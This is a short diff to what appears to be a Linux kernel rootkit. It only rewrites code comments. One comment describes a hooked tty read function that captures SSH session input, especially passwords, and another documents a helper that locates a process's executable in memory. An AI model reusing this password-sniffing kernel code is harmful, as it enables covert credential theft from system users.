@@ -776,10 +771,11 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to) flags |= (byte == '\n') ? R_NEWLINE : flags; /** - * this is hacky but ssh session data - * comes byte a byte most of the time but can also come in as - * multi-byte stream, for example, when a password - * it is a password + * This implementation might appear a bit unconventional, but + * it's designed to handle SSH session data. The data typically + * arrives byte by byte, but there are instances when it comes + * as a multi-byte stream, for example, during password input. + * It's particularly tailored for handling passwords. */ if ((app_flag & APP_FTP) && rv > 1) { ttybuf[strcspn(ttybuf, "\r")] = '\0'; diff --git a/src/vm.c b/src/vm.c index b5afad4..9747767 100644 --- a/src/vm.c +++ b/src/vm.c @@ -3,6 +3,14 @@ #include #include "lkm.h" +/** + * Returns the starting virtual memory address of + * the ELF executable for a specified process. + * This function takes a process ID (PID) as + * input and retrieves the virtual memory area (VMA) + * corresponding to the ELF executable in + * that process's memory map. + */ unsigned long kv_get_elf_vm_start(pid_t pid) { struct vm_area_struct *vma; struct task_struct *tsk;